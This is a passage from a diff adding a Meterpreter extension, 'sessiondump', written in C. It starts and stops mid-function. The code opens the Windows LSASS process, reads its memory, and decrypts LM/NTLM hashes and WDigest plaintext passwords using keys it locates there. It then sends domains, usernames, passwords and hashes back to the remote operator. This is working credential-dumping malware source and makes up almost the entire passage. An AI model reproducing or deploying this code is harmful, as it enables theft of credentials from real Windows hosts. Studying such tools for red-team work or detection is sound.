(HASH_LENGTH*2 + 1), lpszHash); + } + for (i = 32; i < 32+HASH_LENGTH; i++) { + _stprintf_s(lpszHash, LARGE_BUFFER_SIZE, _T("%.2x"), lpDecryptedBlock[i]); + _tcscat_s(lpszHashNT, (HASH_LENGTH*2 + 1), lpszHash); + } + + #else + _sntprintf_s(domain, LARGE_BUFFER_SIZE, _TRUNCATE, _T("%ws"), &lpDecryptedBlock[lpDecryptedBlock[4]]); // Domain Name + _sntprintf_s(username, LARGE_BUFFER_SIZE, _TRUNCATE, _T("%ws"), &lpDecryptedBlock[lpDecryptedBlock[12]]); // User Name + + for (i = 32; i < 32+HASH_LENGTH; i++) { + _stprintf_s(lpszHash, LARGE_BUFFER_SIZE, _T("%.2x"), lpDecryptedBlock[i]); + _tcscat_s(lpszHashLM, (HASH_LENGTH*2 + 1), lpszHash); + } + for (i = 16; i < 16+HASH_LENGTH; i++) { + _stprintf_s(lpszHash, LARGE_BUFFER_SIZE, _T("%.2x"), lpDecryptedBlock[i]); + _tcscat_s(lpszHashNT, (HASH_LENGTH*2 + 1), lpszHash); + } + + #endif + + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("Decrypted hashes : %s\\%s::%s:%s:::"), domain, username, lpszHashLM, lpszHashNT); + OutputDebugString(buffer); + + strncpy_s(aCredsInfos[idx_session].Domain, sizeof(aCredsInfos[idx_session].Domain), domain, strlen(domain)); + aCredsInfos[idx_session].Domain[strlen(domain)] = '\0'; + strncpy_s(aCredsInfos[idx_session].Username, sizeof(aCredsInfos[idx_session].Username), username, strlen(username)); + aCredsInfos[idx_session].Username[strlen(username)] = '\0'; + strncpy_s(aCredsInfos[idx_session].LMhash, sizeof(aCredsInfos[idx_session].LMhash), lpszHashLM, strlen(lpszHashLM)); + aCredsInfos[idx_session].LMhash[strlen(lpszHashLM)] = '\0'; + strncpy_s(aCredsInfos[idx_session].NTLMhash, sizeof(aCredsInfos[idx_session].NTLMhash), lpszHashNT, strlen(lpszHashNT)); + aCredsInfos[idx_session].NTLMhash[strlen(lpszHashNT)] = '\0'; + + if (lpszHashLM) HeapFree(GetProcessHeap(), 0, lpszHashLM); lpszHashLM = NULL; + if (lpszHashNT) HeapFree(GetProcessHeap(), 0, lpszHashNT); lpszHashNT = NULL; + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); buffer = NULL; + if (domain) HeapFree(GetProcessHeap(), 0, domain); domain = NULL; + if (username) HeapFree(GetProcessHeap(), 0, username); username = NULL; + if (hLogonReader != INVALID_HANDLE_VALUE) CloseHandle(hLogonReader); + return TRUE; +} + + +int GetWdigestPasswords(PCREDS_INFOS aCredsInfos){ + LPVOID WdigestSessionList = NULL; + LPBYTE buffer = NULL, tmp = NULL; + LPTSTR lpDomain = NULL, lpUsername = NULL, lpPassword = NULL, lpPlainText = NULL; + int i = 0, idx_session = -1; + int cbSessionEntry = 0; + + // pointers to SESSION_ENTRY structures + LPVOID lpWdigestListEntry = NULL; + PWDIGEST_NT51_SESSION_ENTRY lpWdigestListEntryNT51 = NULL; + PWDIGEST_NT52_SESSION_ENTRY lpWdigestListEntryNT52 = NULL; + PWDIGEST_NT6_SESSION_ENTRY lpWdigestListEntryNT6 = NULL; + + // pointers to internal fields of SESSION_ENTRY structures + LPVOID lpSessionFlink = NULL; + PUNICODE_STRING lpSessionUserName = NULL; + PUNICODE_STRING lpSessionDomainName = NULL; + PUNICODE_STRING lpSessionPassword = NULL; + PLUID lpSessionLuid = NULL; + + if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1){ + // Get size of WDIGEST_NT51_SESSION_ENTRY structure + cbSessionEntry = sizeof(WDIGEST_NT51_SESSION_ENTRY); + // Allocate memory for WDIGEST_NT51_SESSION_ENTRY + lpWdigestListEntryNT51 = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WDIGEST_NT51_SESSION_ENTRY)); + // Set pointer to the specific Windows version structure + lpWdigestListEntry = lpWdigestListEntryNT51; + } else if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2){ + cbSessionEntry = sizeof(WDIGEST_NT52_SESSION_ENTRY); + lpWdigestListEntryNT52 = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WDIGEST_NT52_SESSION_ENTRY)); + lpWdigestListEntry = lpWdigestListEntryNT52; + } else{ + cbSessionEntry = sizeof(WDIGEST_NT6_SESSION_ENTRY); + lpWdigestListEntryNT6 = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WDIGEST_NT6_SESSION_ENTRY)); + lpWdigestListEntry = lpWdigestListEntryNT6; + } + + buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, LARGE_BUFFER_SIZE * sizeof(BYTE)); + tmp = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SMALL_BUFFER_SIZE * sizeof(BYTE)); + WdigestDllBaseAddr = GetDllBaseAddr(GetProcessId(hLsass), _T("wdigest.dll")); + + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("Wdigest.dll?l_LogSessList: %ph\n"), (WdigestDllBaseAddr + symbAddr.WdigestSessionList)); + OutputDebugString(buffer); + + if(!ReadProcessMemory(hLsass, (LPCVOID)(WdigestDllBaseAddr + symbAddr.WdigestSessionList), &WdigestSessionList, sizeof(WdigestSessionList), NULL)){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to read WdigestSessionList: %d\n"), GetLastError()); + OutputDebugString(buffer); + return FALSE; + } + + if (WdigestSessionList){ + do { + if (!ReadProcessMemory(hLsass, (LPCVOID) WdigestSessionList, (LPVOID) lpWdigestListEntry, cbSessionEntry, NULL)){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to read WdigestListEntry: %d\n"), GetLastError()); + OutputDebugString(buffer); + return idx_session; + } + + // Set pointers to internal fields of the specific Windows version structure + if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1){ + lpSessionFlink = lpWdigestListEntryNT51->Flink; + lpSessionUserName = &(lpWdigestListEntryNT51->Username); + lpSessionDomainName = &(lpWdigestListEntryNT51->Domain); + lpSessionPassword = &(lpWdigestListEntryNT51->Password); + lpSessionLuid = &(lpWdigestListEntryNT51->LocallyUniqueIdentifier); + } else if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2){ + lpSessionFlink = lpWdigestListEntryNT52->Flink; + lpSessionUserName = &(lpWdigestListEntryNT52->Username); + lpSessionDomainName = &(lpWdigestListEntryNT52->Domain); + lpSessionPassword = &(lpWdigestListEntryNT52->Password); + lpSessionLuid = &(lpWdigestListEntryNT52->LocallyUniqueIdentifier); + } else{ + lpSessionFlink = lpWdigestListEntryNT6->Flink; + lpSessionUserName = &(lpWdigestListEntryNT6->Username); + lpSessionDomainName = &(lpWdigestListEntryNT6->Domain); + lpSessionPassword = &(lpWdigestListEntryNT6->Password); + lpSessionLuid = &(lpWdigestListEntryNT6->LocallyUniqueIdentifier); + } + + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("WdigestListEntry->Flink: %ph\n"), lpSessionFlink); + OutputDebugString(buffer); + + // memory allocation for username, domain and password + lpDomain = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (lpSessionDomainName->MaximumLength + 1) * sizeof(TCHAR)); + lpUsername = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (lpSessionUserName->MaximumLength + 1) * sizeof(TCHAR)); + lpPassword = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (lpSessionPassword->MaximumLength + 1) * sizeof(TCHAR)); + + if(!ReadProcessMemory(hLsass, (LPCVOID) lpSessionDomainName->Buffer, (LPVOID) lpDomain, lpSessionDomainName->MaximumLength, NULL)){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to read Domain in memory: %d\n"), GetLastError()); + OutputDebugString(buffer); + return FALSE; + } + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("Domain: %S\n"), lpDomain); + OutputDebugString(buffer); + + if(!ReadProcessMemory(hLsass, (LPCVOID) lpSessionUserName->Buffer, (LPVOID) lpUsername, lpSessionUserName->MaximumLength, NULL)){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to read Username in memory: %d\n"), GetLastError()); + OutputDebugString(buffer); + return FALSE; + } + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("Username: %S\n"), lpUsername); + OutputDebugString(buffer); + + if(!ReadProcessMemory(hLsass, (LPCVOID) lpSessionPassword->Buffer, (LPVOID) lpPassword, lpSessionPassword->MaximumLength, NULL)){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("[ERROR] Fail to read cipher Password in memory: %d\n"), GetLastError()); + OutputDebugString(buffer); + return FALSE; + } else{ + if ((lpSessionLuid->LowPart != 0x3e4) && // NETWORK SERVICE LUID + (lpSessionLuid->LowPart != 0x3e5) && // LOCAL SERVICE LUID + (lpSessionLuid->LowPart != 0x3e7) // LOCALSYSTEM LUID + ){ + if (lpSessionPassword->MaximumLength > 0){ + // Decrypt passwords from memory if password present + if ((osvi.dwMajorVersion < 6) || (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0 && (_tcscmp(osvi.szCSDVersion, _T("")) == 0))){ + LsaInitAndDecrypt(lpPassword, lpSessionPassword->MaximumLength); + } else { + lpPlainText = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, LARGE_BUFFER_SIZE * sizeof(TCHAR)); + BcryptInitAndDecrypt(lpPassword, lpSessionPassword->MaximumLength, lpPlainText); + + memcpy_s(lpPassword, lpSessionPassword->MaximumLength, lpPlainText, lpSessionPassword->MaximumLength); + + if (lpPlainText) HeapFree(GetProcessHeap(), 0, lpPlainText); lpPlainText = NULL; + } + + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("Uncipher password: %S\n"), lpPassword); + OutputDebugString(buffer); + } + idx_session++; + + _sntprintf_s(aCredsInfos[idx_session].Domain, sizeof(aCredsInfos[idx_session].Domain), _TRUNCATE, _T("%ws"), lpDomain); + _sntprintf_s(aCredsInfos[idx_session].Username, sizeof(aCredsInfos[idx_session].Username), _TRUNCATE, _T("%ws"), lpUsername); + _sntprintf_s(aCredsInfos[idx_session].Password, sizeof(aCredsInfos[idx_session].Password), _TRUNCATE, _T("%ws"), lpPassword); + + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("ID session : %d\n"), idx_session); + OutputDebugString(buffer); + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("\tPassword : %s\n"), aCredsInfos[idx_session].Password); + OutputDebugString(buffer); + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("\tUsername : %s\n"), aCredsInfos[idx_session].Username); + OutputDebugString(buffer); + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("\tDomain : %s\n"), aCredsInfos[idx_session].Domain); + OutputDebugString(buffer); + } + OutputDebugString(_T("----------------------------------------------\n")); + } + + WdigestSessionList = lpSessionFlink; + // Clean Heap buffer + if (lpUsername) HeapFree(GetProcessHeap(), 0, lpUsername); lpUsername = NULL; + if (lpDomain) HeapFree(GetProcessHeap(), 0, lpDomain); lpDomain = NULL; + if (lpPassword) HeapFree(GetProcessHeap(), 0, lpPassword); lpPassword = NULL; + } while ((DWORD_PTR)lpSessionFlink != (DWORD_PTR)(WdigestDllBaseAddr + symbAddr.WdigestSessionList)); + } + + if (WdigestSessionList) WdigestSessionList = NULL; + if (lpWdigestListEntry) lpWdigestListEntry = NULL; + if (lpSessionFlink) lpSessionFlink = NULL; + if (lpSessionUserName) lpSessionUserName = NULL; + if (lpSessionDomainName) lpSessionDomainName = NULL; + if (lpSessionPassword) lpSessionPassword = NULL; + if (lpSessionLuid) lpSessionLuid = NULL; + if (lpWdigestListEntryNT51) HeapFree(GetProcessHeap(), 0, lpWdigestListEntryNT51); lpWdigestListEntryNT51 = NULL; + if (lpWdigestListEntryNT52) HeapFree(GetProcessHeap(), 0, lpWdigestListEntryNT52); lpWdigestListEntryNT52 = NULL; + if (lpWdigestListEntryNT6) HeapFree(GetProcessHeap(), 0, lpWdigestListEntryNT6); lpWdigestListEntryNT6 = NULL; + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); buffer = NULL; + if (tmp) HeapFree(GetProcessHeap(), 0, tmp); tmp = NULL; + return idx_session; +} diff --git a/external/source/meterpreter/source/extensions/sessiondump/core.h b/external/source/meterpreter/source/extensions/sessiondump/core.h new file mode 100755 index 000000000000..0b36a58c4478 --- /dev/null +++ b/external/source/meterpreter/source/extensions/sessiondump/core.h @@ -0,0 +1,170 @@ +#ifndef _METERPRETER_SOURCE_EXTENSION_SESSIONDUMP_CORE_H +#define _METERPRETER_SOURCE_EXTENSION_SESSIONDUMP_CORE_H + +#include +#include +#include +#include +#include +#include + +#define HASH_LENGTH 16 +#define LARGE_BUFFER_SIZE 2048 +#define SMALL_BUFFER_SIZE 255 + +typedef struct _ADDRESSES{ + LONG_PTR LsaEncryptMemoryAddr; + LONG_PTR LogonSessionListCountAddr; + LONG_PTR LogonSessionListAddr; + // Used for OS < Vista SP1 + LONG_PTR FeedbackAddr; + LONG_PTR PDesxKeyAddr; + // Used for OS >= Vista SP1 + LONG_PTR IVAddr; + LONG_PTR H3DesKeyAddr; + // Used for WDIGEST.DLL + LONG_PTR WdigestSessionList; +} ADDRESSES; + +typedef struct _CREDS_INFOS { + UCHAR Domain[256]; + UCHAR Username[256]; + UCHAR LMhash[33]; + UCHAR NTLMhash[33]; + UCHAR Password[256]; +} CREDS_INFOS, *PCREDS_INFOS; + +typedef struct _SESSION_ENTRY { + struct _SESSION_ENTRY *NextEntry; + struct _SESSION_ENTRY *PrevEntry; + LUID LogonId; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING LogonDomain; + DWORD Unknown1; + DWORD Unknown2; + PSID Sid; + ULONG LogonType; + ULONG Session; + DWORD Unknown3; + FILETIME FileTime; + LSA_UNICODE_STRING LogonServer; + struct _CREDS_ENTRY *CredsEntry; // OK for XP, not for other Windows version (offset used in code when needed) + // etc. +} SESSION_ENTRY, *PSESSION_ENTRY; + +typedef struct _CREDS_ENTRY { + struct _CREDS_ENTRY *NextEntry; + ULONG AuthenticationPackage; + struct _CREDS_HASH_ENTRY *CredsHashEntry; +} CREDS_ENTRY, *PCREDS_ENTRY; + +typedef struct _CREDS_HASH_ENTRY { + struct _CREDS_HASH_ENTRY *NextEntry; + LSA_UNICODE_STRING PrimaryKeyValue; + USHORT HashLength; + USHORT HashMaximumLength; + struct _NTLM_CREDS_BLOCK *HashBuffer; +} CREDS_HASH_ENTRY, *PCREDS_HASH_ENTRY; + +typedef struct _BCRYPT_KEY_HANDLE { + DWORD Size; + DWORD Tag; // (0x55555552) + VOID *hAlgorithm; // Pointer to _MSCRYPT_ALG_HANDLE structure, not used here + // This structure defines the algorithm that is used (3DES, AES, etc.) and various function pointers + // (MSCryptEncrypt, MSCryptGetProperty, MSCryptGenerateSymmetricKey, etc.) + VOID *hKey; // (struct _MSCRYPT_KEY_HANDLE * or struct _MSCRYPT_KEY_HANDLE_NT62 depends of Windows version *) + VOID *pbKeyObject; +}; + +typedef struct _MSCRYPT_KEY_HANDLE { + DWORD Size; + DWORD Tag; // (0x4D53534B) + DWORD AlgoUsed; + DWORD Unknown1; + DWORD Unknown2; + DWORD KeySize; // (168 bits) + DWORD cbSecret; // (24 bytes) + BYTE pbSecret[24]; // 3DES key + // etc. +} *MSCRYPT_KEY_HANDLE; + +typedef struct _MSCRYPT_KEY_HANDLE_NT62 { + DWORD Size; + DWORD Tag; // (0x4D53534B) + DWORD AlgoUsed; + DWORD Unknown1; + DWORD Unknown2; + DWORD KeySize; // (168 bits) + DWORD Unknown3; + VOID *Unknown4; + DWORD cbSecret; // (24 bytes) + BYTE pbSecret[24]; // 3DES key + // etc. +} *MSCRYPT_KEY_HANDLE_NT62; + + +// WDIGEST.DLL + +typedef struct _WDIGEST_NT51_SESSION_ENTRY { + struct _WDIGEST_NT51_SESSION_ENTRY *Flink; + struct _WDIGEST_NT51_SESSION_ENTRY *Blink; + struct _WDIGEST_NT51_SESSION_ENTRY *This; // "This" and "usageCount" are switched in x64 and next OS versions + DWORD_PTR usageCount; + LUID LocallyUniqueIdentifier; + DWORD_PTR unk1; + LSA_UNICODE_STRING RessourceType; // only present for NT 5.1 + LSA_UNICODE_STRING Username; + LSA_UNICODE_STRING Domain; + LSA_UNICODE_STRING Password; + // [..] + +} WDIGEST_NT51_SESSION_ENTRY, *PWDIGEST_NT51_SESSION_ENTRY; + +typedef struct _WDIGEST_NT52_SESSION_ENTRY { + struct _WDIGEST_NT52_SESSION_ENTRY *Flink; + struct _WDIGEST_NT52_SESSION_ENTRY *Blink; + DWORD_PTR usageCount; + struct _WDIGEST_NT52_SESSION_ENTRY *This; + LUID LocallyUniqueIdentifier; + DWORD_PTR unk1; + LSA_UNICODE_STRING Username; + LSA_UNICODE_STRING Domain; + LSA_UNICODE_STRING Password; + // [..] + +} WDIGEST_NT52_SESSION_ENTRY, *PWDIGEST_NT52_SESSION_ENTRY; + +typedef struct _WDIGEST_NT6_SESSION_ENTRY { + struct _WDIGEST_NT6_SESSION_ENTRY *Flink; + struct _WDIGEST_NT6_SESSION_ENTRY *Blink; + DWORD_PTR usageCount; + struct _WDIGEST_NT6_SESSION_ENTRY *This; + LUID LocallyUniqueIdentifier; + DWORD unk1; + DWORD unk2; + LSA_UNICODE_STRING Username; + LSA_UNICODE_STRING Domain; + LSA_UNICODE_STRING Password; + // [..] + +} WDIGEST_NT6_SESSION_ENTRY, *PWDIGEST_NT6_SESSION_ENTRY; + + +// typedef for ptr to LsaEncryptMemory function in LSASRV.DLL +typedef void (__stdcall *LsaEncryptMemoryFunction)(unsigned char *buffer, unsigned int length, int mode); + +DWORD_PTR GetDllBaseAddr(DWORD dwPid, LPBYTE DllName); +BOOL GetPidByName(LPCTSTR lpszProcessName, LPDWORD lpPid); +BOOL OpenLsass(VOID); +BOOL CloseLsass(VOID); +BOOL GetDataInMemory(VOID); +BOOL GetDataInXPMemory(VOID); +BOOL GetDataInPostVistaMemory(VOID); +int GetHashes(PCREDS_INFOS aCredsInfos); +BOOL DecryptHashes(LPBYTE lpNtlmCredsBlock, DWORD dwLength, PCREDS_INFOS aCredsInfos, int idx_session); +BOOL FormatDecryptedHashes(LPCBYTE lpDecryptedBlock, PCREDS_INFOS aCredsInfos, int idx_session); +int GetWdigestPasswords(PCREDS_INFOS aCredsInfos); +BOOL LsaInitAndDecrypt(LPTSTR lpBuffer, size_t cbBuffer); +BOOL BcryptInitAndDecrypt(LPTSTR lpInput, size_t cbInput, LPTSTR lpOutput); + +#endif \ No newline at end of file diff --git a/external/source/meterpreter/source/extensions/sessiondump/sessiondump.c b/external/source/meterpreter/source/extensions/sessiondump/sessiondump.c new file mode 100755 index 000000000000..df7eb7e64b37 --- /dev/null +++ b/external/source/meterpreter/source/extensions/sessiondump/sessiondump.c @@ -0,0 +1,325 @@ +/* + * + * This meterpreter extension can be used to dump hashes and passwords from memory + * Compatible with x86 and x64 systems from Windows XP/2003 to Windows 8/2012 + * Author : Steeve Barbeau (steeve DOT barbeau AT hsc DOT fr) + * http://www.hsc.fr/ressources/outils/sessiondump/index.html.en + * + */ + +#define _CRT_SECURE_NO_DEPRECATE 1 +#include "../../common/common.h" +#include "sessiondump.h" +#include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h" +// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function +// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the +// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. +#include "../../ReflectiveDLLInjection/ReflectiveLoader.c" + +// this sets the delay load hook function, see DelayLoadMetSrv.h +EnableDelayLoadMetSrv(); + +extern HANDLE hLsass; +extern ADDRESSES symbAddr; +extern ULONG LogonSessionListCount; +extern LONG_PTR LogonSessionList; +extern OSVERSIONINFOEX osvi; +extern BYTE g_Feedback[8]; +extern LPVOID g_pDESXKey; +extern BYTE g_DESXKey[400]; + + +DWORD sendErrorTLV(int error, Packet *response, Remote *remote){ + // Send TLV_TYPE_ERROR packet + DWORD res = ERROR_SUCCESS; + packet_add_tlv_uint(response, TLV_TYPE_ERROR, error); + packet_transmit_response(res, remote, response); + return res; +} + +void SymbAddrTlvToStruct(Packet *packet, ADDRESSES *symbAddr, int nbFields){ + // Put symbol offsets received from network in TLV format inside a ADDRESSES structure + Tlv tlvSymbName, tlvSymbAddr; + int i; + LPTSTR tmp = NULL; + tmp = calloc(SMALL_BUFFER_SIZE, sizeof(TCHAR)); + + for (i=0 ; iLsaEncryptMemoryAddr = atol(tmp); + } else if (!_tcscmp(_T("logon_session_list_addr"), tlvSymbName.buffer)){ + strncpy(tmp, tlvSymbAddr.buffer, SMALL_BUFFER_SIZE); + tmp[tlvSymbAddr.header.length] = '\0'; + symbAddr->LogonSessionListAddr = atol(tmp); + } else if (!_tcscmp(_T("logon_session_list_count"), tlvSymbName.buffer)){ + strncpy(tmp, tlvSymbAddr.buffer, SMALL_BUFFER_SIZE); + tmp[tlvSymbAddr.header.length] = '\0'; + symbAddr->LogonSessionListCountAddr = atol(tmp); + } else if (!_tcscmp(_T("feedback_addr"), tlvSymbName.buffer)){ + strncpy(tmp, tlvSymbAddr.buffer, SMALL_BUFFER_SIZE); + tmp[tlvSymbAddr.header.length] = '\0'; + symbAddr->FeedbackAddr = atol(tmp); + } else if (!_tcscmp(_T("deskey_ptr_addr"), tlvSymbName.buffer)){ + strncpy(tmp, tlvSymbAddr.buffer, SMALL_BUFFER_SIZE); + tmp[tlvSymbAddr.header.length] = '\0'; + symbAddr->PDesxKeyAddr = atol(tmp); + } else if (!_tcscmp(_T("threedeskey_ptr_addr"), tlvSymbName.buffer)){ + strncpy(tmp, tlvSymbAddr.buffer, SMALL_BUFFER_SIZE); + tmp[tlvSymbAddr.header.length] = '\0'; + symbAddr->H3DesKeyAddr = atol(tmp); + } else if (!_tcscmp(_T("iv_addr"), tlvSymbName.buffer)){ + strncpy(tmp, tlvSymbAddr.buffer, SMALL_BUFFER_SIZE); + tmp[tlvSymbAddr.header.length] = '\0'; + symbAddr->IVAddr = atol(tmp); + } else if (!_tcscmp(_T("wdigest_session_list"), tlvSymbName.buffer)){ + strncpy(tmp, tlvSymbAddr.buffer, SMALL_BUFFER_SIZE); + tmp[tlvSymbAddr.header.length] = '\0'; + symbAddr->WdigestSessionList = atol(tmp); + } + } +}; + + +DWORD getWdigestPasswords(Remote *remote, Packet *packet){ + // Call several sub-functions in order to extract clear-text passwords + DWORD res = ERROR_SUCCESS; + LPTSTR buffer = NULL; + CREDS_INFOS aCredsInfos[SMALL_BUFFER_SIZE]; + int cbSessions = 0, i = 0; + + Packet *response = packet_create_response(packet); + buffer = calloc(LARGE_BUFFER_SIZE, sizeof(TCHAR)); + SymbAddrTlvToStruct(packet, &symbAddr, 10); + + if (!OpenLsass()){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("%s\n"), _T("[ERROR] OpenLsass() :\n\t Unable to get handle of Lsass process. This can be a problem of rights access.")); + OutputDebugString(buffer); + return sendErrorTLV(ERROR_SESSIONDUMP_PROCESS, response, remote); + } + + if (!GetDataInMemory()){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("%s\n"), _T("[ERROR] GetDataInMemory() :\n\t Fail to extract data from memory in order to uncipher passwords")); + OutputDebugString(buffer); + return sendErrorTLV(ERROR_SESSIONDUMP_GET_DATA_IN_MEMORY, response, remote); + } + + cbSessions = GetWdigestPasswords(&aCredsInfos); + if (cbSessions == -1){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("%s\n"), _T("[ERROR] GetWdigestPasswords() :\n\t No session is present in LSASS memory or an unexpected error occurred")); + OutputDebugString(buffer); + return sendErrorTLV(ERROR_SESSIONDUMP_GET_WDIGEST_PASSWORDS, response, remote); + } + + if (!CloseLsass()){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("%s\n"), _T("[ERROR] CloseLsass()")); + OutputDebugString(buffer); + } + + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("Number of sessions : %d\n"), (cbSessions+1)); + OutputDebugString(buffer); + OutputDebugString(_T("-----------------------------------------------------------------------------\n")); + + if (cbSessions > SMALL_BUFFER_SIZE){ + cbSessions = SMALL_BUFFER_SIZE; + } + + for (i = 0 ; i <= cbSessions ; i++){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("Session number: %d\n"), i); + OutputDebugString(buffer); + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("\tDomain: %s\n"), aCredsInfos[i].Domain); + OutputDebugString(buffer); + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("\tUsername: %s\n"), aCredsInfos[i].Username); + OutputDebugString(buffer); + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("\tPassword: %s\n"), aCredsInfos[i].Password); + OutputDebugString(buffer); + + packet_add_tlv_string(response, TLV_TYPE_DOMAIN, aCredsInfos[i].Domain); + packet_add_tlv_string(response, TLV_TYPE_USER, aCredsInfos[i].Username); + packet_add_tlv_string(response, TLV_TYPE_PWD, aCredsInfos[i].Password); + + } + OutputDebugString(_T("-----------------------------------------------------------------------------\n")); + + packet_transmit_response(res, remote, response); + return res; +} + + +DWORD getPasswordHashes(Remote *remote, Packet *packet){ + // Call several sub-functions in order to extract password hashes + DWORD res = ERROR_SUCCESS; + int cbSessions = 0, i = 0; + LPTSTR buffer = NULL; + CREDS_INFOS aCredsInfos[SMALL_BUFFER_SIZE]; + + Packet *response = packet_create_response(packet); + buffer = calloc(LARGE_BUFFER_SIZE, sizeof(TCHAR)); + SymbAddrTlvToStruct(packet, &symbAddr, 9); + + if (!OpenLsass()){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("%s\n"), _T("[ERROR] OpenLsass() :\n\t Fail to get handle of Lsass process. This can be a problem of rights access.")); + OutputDebugString(buffer); + return sendErrorTLV(ERROR_SESSIONDUMP_PROCESS, response, remote); + } + + if (!GetDataInMemory()){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("%s\n"), _T("[ERROR] GetDataInMemory() :\n\t Fail to extract data from memory in order to uncipher passwords")); + OutputDebugString(buffer); + return sendErrorTLV(ERROR_SESSIONDUMP_GET_DATA_IN_MEMORY, response, remote); + } + + cbSessions = GetHashes(&aCredsInfos); + if (cbSessions == -1){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("%s\n"), _T("[ERROR] GetHashes() :\n\t No session is present in LSASS memory or an unexpected error occurred")); + OutputDebugString(buffer); + return sendErrorTLV(ERROR_SESSIONDUMP_GET_HASHES, response, remote); + } + + if (!CloseLsass()){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("%s\n"), _T("[ERROR] CloseLsass()")); + OutputDebugString(buffer); + } + + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("Number of sessions: %d\n"), (cbSessions+1)); + OutputDebugString(buffer); + OutputDebugString(_T("-----------------------------------------------------------------------------\n")); + + if (cbSessions > SMALL_BUFFER_SIZE){ + cbSessions = SMALL_BUFFER_SIZE; + } + + for (i = 0 ; i <= cbSessions ; i++){ + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("Session number: %d\n"), i); + OutputDebugString(buffer); + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("\tDomain: %s\n"), aCredsInfos[i].Domain); + OutputDebugString(buffer); + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("\tUsername: %s\n"), aCredsInfos[i].Username); + OutputDebugString(buffer); + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("\tLM: %s\n"), aCredsInfos[i].LMhash); + OutputDebugString(buffer); + _sntprintf_s(buffer, LARGE_BUFFER_SIZE, _TRUNCATE, _T("\tNTLM: %s\n"), aCredsInfos[i].NTLMhash); + OutputDebugString(buffer); + + packet_add_tlv_string(response, TLV_TYPE_DOMAIN, aCredsInfos[i].Domain); + packet_add_tlv_string(response, TLV_TYPE_USER, aCredsInfos[i].Username); + packet_add_tlv_string(response, TLV_TYPE_LM, aCredsInfos[i].LMhash); + packet_add_tlv_string(response, TLV_TYPE_NTLM, aCredsInfos[i].NTLMhash); + } + OutputDebugString(_T("-----------------------------------------------------------------------------\n")); + + packet_transmit_response(res, remote, response); + return res; +}; + + +DWORD getDllVersion(Remote *remote, Packet *packet){ + // Get version of a DLL file + DWORD res = ERROR_SUCCESS; + DWORD dwFileVersionSize; + LPBYTE lpFileVersionInfo = NULL; + VS_FIXEDFILEINFO *lpFileInfo = NULL; + UINT lpFileInfoSize = 0; + LPBYTE dllpath = NULL, systemroot = NULL; + char lpszDllVersion[SMALL_BUFFER_SIZE]; + + Packet *response = packet_create_response(packet); + PCHAR dll_name = packet_get_tlv_value_string(packet, TLV_TYPE_VERSION_DLL_REQUEST); + + dllpath = HeapAlloc(GetProcessHeap(), 